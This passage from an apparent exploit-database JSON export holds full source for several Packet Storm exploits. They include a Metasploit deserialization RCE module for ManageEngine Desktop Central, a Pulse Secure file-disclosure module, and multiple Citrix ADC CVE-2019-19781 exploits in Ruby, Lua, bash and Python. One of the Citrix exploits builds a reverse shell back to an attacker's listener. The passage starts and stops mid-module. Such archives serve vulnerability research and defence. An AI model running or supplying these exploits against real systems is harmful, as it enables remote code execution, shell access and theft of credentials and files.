Command', \n'Arch' => ARCH_CMD, \n'Type' => :win_cmd \n], \n['Windows Dropper', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :win_dropper \n], \n['PowerShell Stager', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :psh_stager \n] \n], \n'DefaultTarget' => 2, \n'DefaultOptions' => { \n'RPORT' => 8383, \n'SSL' => true, \n'WfsDelay' => 60 # It can take a little while to trigger \n}, \n'CmdStagerFlavor' => 'certutil', # This works without issue \n'Notes' => { \n'PatchedVersion' => Gem::Version.new('100474'), \n'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page? \n'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n)) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \nend \n \ndef check \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, 'configurations.do') \n) \n \nunless res \nreturn CheckCode::Unknown('Target is not responding to check') \nend \n \nunless res.code == 200 && res.body.include?('ManageEngine Desktop Central') \nreturn CheckCode::Unknown('Target is not running Desktop Central') \nend \n \nversion = res.get_html_document.at('//input[@id = \"buildNum\"]/@value')&.text \n \nunless version \nreturn CheckCode::Detected('Could not detect Desktop Central version') \nend \n \nvprint_status(\"Detected Desktop Central version #{version}\") \n \nif Gem::Version.new(version) < notes['PatchedVersion'] \nreturn CheckCode::Appears(\"#{version} is an exploitable version\") \nend \n \nCheckCode::Safe(\"#{version} is not an exploitable version\") \nend \n \ndef exploit \n# NOTE: Automatic check is implemented by the AutoCheck mixin \nsuper \n \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\") \n \ncase target['Type'] \nwhen :win_cmd \nexecute_command(payload.encoded) \nwhen :win_dropper \nexecute_cmdstager \nwhen :psh_stager \nexecute_command(cmd_psh_payload( \npayload.encoded, \npayload.arch.first, \nremove_comspec: true \n)) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \n# XXX: An executable is required to run arbitrary commands \ncmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper \n \nvprint_status(\"Serializing command: #{cmd}\") \n \n# I identified mr_me's binary blob as the CommonsBeanutils1 payload :) \nserialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload( \n'CommonsBeanutils1', \ncmd \n) \n \n# XXX: Patch in expected serialVersionUID \nserialized_payload[140, 8] = \"\\xcf\\x8e\\x01\\x82\\xfe\\x4e\\xf1\\x7e\" \n \n# Rock 'n' roll! \nupload_serialized_payload(serialized_payload) \ndeserialize_payload \nend \n \ndef upload_serialized_payload(serialized_payload) \nprint_status('Uploading serialized payload') \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, \n'/mdm/client/v1/mdmLogUploader'), \n'ctype' => 'application/octet-stream', \n'vars_get' => { \n'udid' => 'si\\\\..\\\\..\\\\..\\\\webapps\\\\DesktopCentral\\\\_chart', \n'filename' => 'logger.zip' \n}, \n'data' => serialized_payload \n) \n \nunless res && res.code == 200 \nfail_with(Failure::UnexpectedReply, 'Could not upload serialized payload') \nend \n \nprint_good('Successfully uploaded serialized payload') \n \n# C:\\Program Files\\DesktopCentral_Server\\bin \nregister_file_for_cleanup('..\\\\webapps\\\\DesktopCentral\\\\_chart\\\\logger.zip') \nend \n \ndef deserialize_payload \nprint_status('Deserializing payload') \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, 'cewolf/'), \n'vars_get' => {'img' => '\\\\logger.zip'} \n) \n \nunless res && res.code == 200 \nfail_with(Failure::UnexpectedReply, 'Could not deserialize payload') \nend \n \nprint_good('Successfully deserialized payload') \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156730/desktopcentral_deserialization.rb.txt", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-22T05:38:44", "description": "", "cvss3": {}, "published": "2019-08-21T00:00:00", "type": "packetstorm", "title": "Pulse Secure SSL VPN 8.1R15.1 / 8.2 / 8.3 / 9.0 Arbitrary File Disclosure", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "PACKETSTORM:154176", "href": "https://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html", "sourceData": "`# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit) \n# Google Dork: inurl:/dana-na/ filetype:cgi \n# Date: 8/20/2019 \n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera \n# Vendor Homepage: https://pulsesecure.net \n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n# Tested on: Linux \n# CVE : CVE-2019-11510 \nrequire 'msf/core' \nclass MetasploitModule < Msf::Auxiliary \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Post::File \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Pulse Secure - System file leak', \n'Description' => %q{ \nPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests. \nThis exploit reads /etc/passwd as a proof of concept \nThis vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n}, \n'References' => \n[ \n[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ] \n], \n'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ], \n'License' => MSF_LICENSE, \n'DefaultOptions' => \n{ \n'RPORT' => 443, \n'SSL' => true \n}, \n)) \n \nend \n \n \ndef run() \nprint_good(\"Checking target...\") \nres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342) \n \nif res && res.code == 200 \nprint_good(\"Target is Vulnerable!\") \ndata = res.body \ncurrent_host = datastore['RHOST'] \nfilename = \"msf_sslwebsession_\"+current_host+\".bin\" \nFile.delete(filename) if File.exist?(filename) \nfile_local_write(filename, data) \nprint_good(\"Parsing file.......\") \nparse() \nelse \nif(res && res.code == 404) \nprint_error(\"Target not Vulnerable\") \nelse \nprint_error(\"Ooof, try again...\") \nend \nend \nend \ndef parse() \ncurrent_host = datastore['RHOST'] \n \nfileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\") \nwords = 0 \nwhile (line = fileObj.gets) \nprintable_data = line.gsub(/[^[:print:]]/, '.') \narray_data = printable_data.scan(/.{1,60}/m) \nfor ar in array_data \nif ar != \"............................................................\" \nprint_good(ar) \nend \nend \n#print_good(printable_data) \n \nend \nfileObj.close \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/154176/pulsesecure-disclose.rb.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-13T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway 10.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "PACKETSTORM:155930", "href": "https://packetstormsecurity.com/files/155930/Citrix-Application-Delivery-Controller-Gateway-10.5-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Citrix ADC Remote Code Execution', \n'Description' => %q( \nAn issue was discovered in Citrix Application Delivery Controller (ADC) \nand Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n), \n'Author' => [ \n'RAMELLA S\u00e9bastien' # https://www.pirates.re/ \n], \n'References' => [ \n['CVE', '2019-19781'], \n['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'], \n['EDB', '47901'], \n['EDB', '47902'] \n], \n'DisclosureDate' => '2019-12-17', \n'License' => MSF_LICENSE, \n'Platform' => ['unix'], \n'Arch' => ARCH_CMD, \n'Privileged' => true, \n'Payload' => { \n'Compat' => { \n'PayloadType' => 'cmd', \n'RequiredCmd' => 'generic perl meterpreter' \n} \n}, \n'Targets' => [ \n['Unix (remote shell)', \n'Type' => :cmd_shell, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_perl', \n'DisablePayloadHandler' => 'false' \n} \n], \n['Unix (command-line)', \n'Type' => :cmd_generic, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/generic', \n'DisablePayloadHandler' => 'true' \n} \n], \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n)) \n \nregister_options([ \nOptAddress.new('RHOST', [true, 'The target address']) \n]) \n \nregister_advanced_options([ \nOptBool.new('ForceExploit', [false, 'Override check result', false]) \n]) \n \nderegister_options('RHOSTS') \nend \n \ndef execute_command(command, opts = {}) \nfilename = Rex::Text.rand_text_alpha(16) \nnonce = Rex::Text.rand_text_alpha(6) \n \nrequest = { \n'method' => 'POST', \n'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'), \n'headers' => { \n'NSC_USER' => '../../../netscaler/portal/templates/' + filename, \n'NSC_NONCE' => nonce \n}, \n'vars_post' => { \n'url' => 'http://127.0.0.1', \n'title' => \"[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]\", \n'desc' => 'desc', \n'UI_inuse' => 'RfWeb' \n}, \n'encode_params' => false \n} \n \nbegin \nreceived = send_request_cgi(request) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \nreturn false unless received \n \nif received.code == 200 \nvprint_status(\"#{received.get_html_document.text}\") \nsleep 2 \n \nrequest = { \n'method' => 'GET', \n'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'), \n'headers' => { \n'NSC_USER' => nonce, \n'NSC_NONCE' => nonce \n} \n} \n \n## Trigger to gain exploitation. \nbegin \nsend_request_cgi(request) \nreceived = send_request_cgi(request) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \nreturn false unless received \nreturn received \nend \n \nreturn false \nend \n \ndef get_chr_payload(command) \nchr_payload = command \ni = chr_payload.length \n \noutput = \"\" \nchr_payload.each_char do | c | \ni = i - 1 \noutput << \"chr(\" << c.ord.to_s << \")\" \nif i != 0 \noutput << \" . \" \nend \nend \n \nreturn output \nend \n \ndef check \nbegin \nreceived = send_request_cgi( \n\"method\" => \"GET\", \n\"uri\" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf') \n) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \n \nif received && received.code != 200 \nreturn Exploit::CheckCode::Safe \nend \nreturn Exploit::CheckCode::Vulnerable \nend \n \ndef exploit \nunless check.eql? Exploit::CheckCode::Vulnerable \nunless datastore['ForceExploit'] \nfail_with(Failure::NotVulnerable, 'The target is not exploitable.') \nend \nelse \nprint_good('The target appears to be vulnerable.') \nend \n \ncase target['Type'] \nwhen :cmd_generic \nprint_status(\"Sending #{datastore['PAYLOAD']} command payload\") \nvprint_status(\"Generated command payload: #{payload.encoded}\") \n \nreceived = execute_command(payload.encoded) \nif (received) && (datastore['PAYLOAD'] == \"cmd/unix/generic\") \nprint_warning('Dumping command output in parsed http response') \nprint_good(\"#{received.get_html_document.text}\") \nelse \nprint_warning('Empty response, no command output') \nreturn \nend \n \nwhen :cmd_shell \nprint_status(\"Sending #{datastore['PAYLOAD']} command payload\") \nvprint_status(\"Generated command payload: #{payload.encoded}\") \n \nexecute_command(payload.encoded) \nend \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155930/citrix-exec.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-16T22:49:44", "description": "", "cvss3": {}, "published": "2020-01-16T00:00:00", "type": "packetstorm", "title": "Citrix ADC / Gateway Path Traversal", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T00:00:00", "id": "PACKETSTORM:155972", "href": "https://packetstormsecurity.com/files/155972/Citrix-ADC-Gateway-Path-Traversal.html", "sourceData": "`# Exploit Title: Path Traversal in Citrix Application Delivery Controller \n(ADC) and Gateway. \n# Date: 17-12-2019 \n# CVE: CVE-2019-19781 \n# Vulenrability: Path Traversal \n# Vulnerablity Discovery: Mikhail Klyuchnikov \n# Exploit Author: Dhiraj Mishra \n# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0 \n# Vendor Homepage: https://www.citrix.com/ \n# References: https://support.citrix.com/article/CTX267027 \n# https://github.com/nmap/nmap/pull/1893 \n \nlocal http = require \"http\" \nlocal stdnse = require \"stdnse\" \nlocal shortport = require \"shortport\" \nlocal table = require \"table\" \nlocal string = require \"string\" \nlocal vulns = require \"vulns\" \nlocal nmap = require \"nmap\" \nlocal io = require \"io\" \n \ndescription = [[ \nThis NSE script checks whether the traget server is vulnerable to \nCVE-2019-19781 \n]] \n--- \n-- @usage \n-- nmap --script https-citrix-path-traversal -p <port> <host> \n-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args \noutput='file.txt' \n-- @output \n-- PORT STATE SERVICE \n-- 443/tcp open http \n-- | CVE-2019-19781: \n-- | Host is vulnerable to CVE-2019-19781 \n-- @changelog \n-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj) \n-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__) \n-- @xmloutput \n-- <table key=\"NMAP-1\"> \n-- <elem key=\"title\">Citrix ADC Path Traversal aka (Shitrix)</elem> \n-- <elem key=\"state\">VULNERABLE</elem> \n-- <table key=\"description\"> \n-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5, \n11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path \n-- traversal vulnerability that allows attackers to read configurations or \nany other file. \n-- </table> \n-- <table key=\"dates\"> \n-- <table key=\"disclosure\"> \n-- <elem key=\"year\">2019</elem> \n-- <elem key=\"day\">17</elem> \n-- <elem key=\"month\">12</elem> \n-- </table> \n-- </table> \n-- <elem key=\"disclosure\">17-12-2019</elem> \n-- <table key=\"extra_info\"> \n-- </table> \n-- <table key=\"refs\"> \n-- <elem>https://support.citrix.com/article/CTX267027</elem> \n-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem> \n-- </table> \n-- </table> \n \nauthor = \"Dhiraj Mishra (@RandomDhiraj)\" \nDiscovery = \"Mikhail Klyuchnikov (@__Mn1__)\" \nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\" \ncategories = {\"discovery\", \"intrusive\",\"vuln\"} \n \nportrule = shortport.ssl \n \naction = function(host,port) \nlocal outputFile = stdnse.get_script_args(SCRIPT_NAME..\".output\") or nil \nlocal vuln = { \ntitle = 'Citrix ADC Path Traversal', \nstate = vulns.STATE.NOT_VULN, \ndescription = [[ \nCitrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, \n12.1, and 13.0 are vulnerable \nto a unauthenticated path traversal vulnerability that allows attackers to \nread configurations or any other file. \n]], \nreferences = { \n'https://support.citrix.com/article/CTX267027', \n'https://nvd.nist.gov/vuln/detail/CVE-2019-19781', \n}, \ndates = { \ndisclosure = {year = '2019', month = '12', day = '17'}, \n}, \n} \nlocal vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) \nlocal path = \"/vpn/../vpns/cfg/smb.conf\" \nlocal response \nlocal output = {} \nlocal success = \"Host is vulnerable to CVE-2019-19781\" \nlocal fail = \"Host is not vulnerable\" \nlocal match = \"[global]\" \nlocal credentials \nlocal citrixADC \nresponse = http.get(host, port.number, path) \n \nif not response.status then \nstdnse.print_debug(\"Request Failed\") \nreturn \nend \nif response.status == 200 then \nif string.match(response.body, match) then \nstdnse.print_debug(\"%s: %s GET %s - 200 OK\", \nSCRIPT_NAME,host.targetname or host.ip, path) \nvuln.state = vulns.STATE.VULN \ncitrixADC = ((\"Path traversal: https://%s:%d%s\"):format(host.targetname \nor host.ip,port.number, path)) \nif outputFile then \ncredentials = response.body:gsub('%W','.') \nvuln.check_results = stdnse.format_output(true, citrixADC) \nvuln.extra_info = stdnse.format_output(true, \"Credentials are being \nstored in the output file\") \nfile = io.open(outputFile, \"a\") \nfile:write(credentials, \"\\n\") \nelse \nvuln.check_results = stdnse.format_output(true, citrixADC) \nend \nend \nelseif response.status == 403 then \nstdnse.print_debug(\"%s: %s GET %s - %d\", SCRIPT_NAME, host.targetname \nor host.ip, path, response.status) \nvuln.state = vulns.STATE.NOT_VULN \nend \n \nreturn vuln_report:make_output(vuln) \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155972/cadcg-traversal.nse.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway Remote Code Execution / Traversal", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "PACKETSTORM:155905", "href": "https://packetstormsecurity.com/files/155905/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution-Traversal.html", "sourceData": "`#!/usr/bin/python3 \n# \n# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 \n# \n# You only need a listener like netcat to catch the shell. \n# \n# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White \n# \n# Tool Written by: Rob Simon and David Kennedy \n \nimport requests \nimport urllib3 \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings \nimport random \nimport string \nimport time \nfrom random import randint \nimport argparse \nimport sys \n \n# random string generator \ndef randomString(stringLength=10): \nletters = string.ascii_lowercase \nreturn ''.join(random.choice(letters) for i in range(stringLength)) \n \n# our random string for filename - will leave artifacts on system \nfilename = randomString() \nrandomuser = randomString() \n \n# generate random number for the nonce \nnonce = randint(5, 15) \n \n# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script \n# note that the file location will be in /netscaler/portal/templates/filename.xml \ndef stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport): \n \n# encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC) \nencoded = \"\" \ni=0 \ntext = (\"\"\"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\"\"\" % (attackerip, attackerport)) \nwhile i < len(text): \nencoded = encoded + \"chr(\"+str(ord(text[i]))+\") . \" \ni += 1 \nencoded = encoded[:-3] \npayload=\"[% template.new({'BLOCK'='print readpipe(\" + encoded + \")'})%]\" \nheaders = ( \n{ \n'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', \n'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename), \n'NSC_NONCE' : '%s' % (nonce), \n}) \n \ndata = ( \n{ \n\"url\" : \"127.0.0.1\", \n\"title\" : payload, \n\"desc\" : \"desc\", \n\"UI_inuse\" : \"a\" \n}) \n \nurl = (\"https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl\" % (victimip, victimport)) \nrequests.post(url, data=data, headers=headers, verify=False) \n \n# this is our second stage that triggers the exploit for us \ndef stage2(filename, randomuser, nonce, victimip, victimport): \nheaders = ( \n{ \n'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', \n'NSC_USER' : '%s' % (randomuser), \n'NSC_NONCE' : '%s' % (nonce), \n}) \n \nrequests.get(\"https://%s:%s/vpn/../vpns/portal/%s.xml\" % (victimip, victimport, filename), headers=headers, verify=False) \n \n \n# start our main code to execute \nprint(''' \n \n.o oOOOOOOOo OOOo \nOb.OOOOOOOo OOOo. oOOo. .adOOOOOOO \nOboO\"\"\"\"\"\"\"\"\"\"\"\".OOo. .oOOOOOo. OOOo.oOOOOOo..\"\"\"\"\"\"\"\"\"'OO \nOOP.oOOOOOOOOOOO \"POOOOOOOOOOOo. `\"OOOOOOOOOP,OOOOOOOOOOOB' \n`O'OOOO' `OOOOo\"OOOOOOOOOOO` .adOOOOOOOOO\"oOOO' `OOOOo \n.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO \nOOOOO '\"OOOOOOOOOOOOOOOO\"` oOO \noOOOOOba. .adOOOOOOOOOOba .adOOOOo. \noOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO \nOOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO\"` '\"OOOOOOOOOOOOO.OOOOOOOOOOOOOO \n\"OOOO\" \"YOoOOOOMOIONODOO\"` . '\"OOROAOPOEOOOoOY\" \"OOO\" \nY 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` \n: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . \n. oOOP\"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO\"OOo \n'%o OOOO\"%OOOO%\"%OOOOO\"OOOOOO\"OOO': \n`$\" `OOOO' `O\"Y ' `OOOO' o . \n. . OP\" : o . \n: \n \nCitrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 \nTool Written by: Rob Simon and Dave Kennedy \nContributions: The TrustedSec Team \nWebsite: https://www.trustedsec.com \nINFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ \n \nThis tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used \nto append files in an XML format to the victim machine. This in turn allows for remote code execution. \n \nBe sure to cleanup these two file locations: \n/var/tmp/netscaler/portal/templates/ \n/netscaler/portal/templates/ \n \nUsage: \n \npython citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\\n''') \n \n# parse our commands \nparser = argparse.ArgumentParser() \nparser.add_argument(\"target\", help=\"the vulnerable server with Citrix (defaults https)\") \nparser.add_argument(\"targetport\", help=\"the target server web port (normally on 443)\") \nparser.add_argument(\"attackerip\", help=\"the attackers reverse listener IP address\") \nparser.add_argument(\"attackerport\", help=\"the attackersa reverse listener port\") \nargs = parser.parse_args() \nprint(\"[*] Firing STAGE1 POST request to create the XML template exploit to disk...\") \nprint(\"[*] Saving filename as %s.xml on the victim machine...\" % (filename)) \n# trigger our first post \nstage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport) \nprint(\"[*] Sleeping for 2 seconds to ensure file is written before we call it...\") \ntime.sleep(2) \nprint(\"[*] Triggering GET request for the newly created file with a listener waiting...\") \nprint(\"[*] Shell should now be in your listener... enjoy. Keep this window open..\") \nprint(\"[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/\") \n# trigger our second post \nstage2(filename, randomuser, nonce, args.target, args.targetport) \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155905/citrix-traversalexec.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "PACKETSTORM:155904", "href": "https://packetstormsecurity.com/files/155904/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution.html", "sourceData": "`#!/bin/bash \n# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781 \n# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a' \n# Release Date : 11/01/2020 \n# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia \necho \"================================================================================= \n___ _ _ ____ ___ _ _ \n| _ \\ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _ \n| _/| '_|/ _ \\ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \\ | | | ' \\ / _' || |/ _' | \n|_| |_| \\___/_/ |\\___|\\__| \\__| /___|\\___||_| \\___/ |___||_||_|\\__,_||_|\\__,_| \n|__/ CVE-2019-19781 \n=================================================================================\" \n############################## \nif [ -z \"$1\" ]; \nthen \necho -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\\n' \nexit; \nfi \nfilenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1); \ncurl -s -k \"https://$1/vpn/../vpns/portal/scripts/newbm.pl\" -d \"url=http://example.com\\&title=[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]\\&desc=test\\&UI_inuse=RfWeb\" -H \"NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid\" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is \necho -ne \"\\n\" ;curl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -s -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is \necho -ne \"Command Output :\\n\" \ncurl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155904/citrixadcg-exec.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-14T23:23:57", "description": "", "cvss3": {}, "published": "2020-01-14T00:00:00", "type": "packetstorm", "title": "Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-14T00:00:00", "id": "PACKETSTORM:155947", "href": "https://packetstormsecurity.com/files/155947/Citrix-ADC-NetScaler-Directory-Traversal-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE', \n'Description' => %q{ \nThis module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka \nNetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload. \n}, \n'Author' => [ \n'Project Zero India', 'TrustedSec', # PoCs \n'mekhalleh (RAMELLA S\u00e9bastien)' # Module (https://www.pirates.re/) \n], \n'References' => [ \n['CVE', '2019-19781'], \n['EDB', '47901'], \n['EDB', '47902'], \n['URL', 'https://support.citrix.com/article/CTX267027/'], \n['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'] \n], \n'DisclosureDate' => '2019-12-17', \n'License' => MSF_LICENSE, \n'Platform' => ['python', 'unix'], \n'Arch' => [ARCH_PYTHON, ARCH_CMD], \n'Privileged' => false, \n'Targets' => [ \n['Python', \n'Platform' => 'python', \n'Arch' => ARCH_PYTHON, \n'Type' => :python, \n'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'} \n], \n['Unix Command', \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_command, \n'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal', \n'HttpClientTimeout' => 3.5 \n}, \n'Notes' => { \n'AKA' => ['Shitrix'], \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n)) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \n \nregister_advanced_options([ \nOptBool.new('ForceExploit', [false, 'Override check result', false]) \n]) \nend \n \ndef cmd_unix_generic? 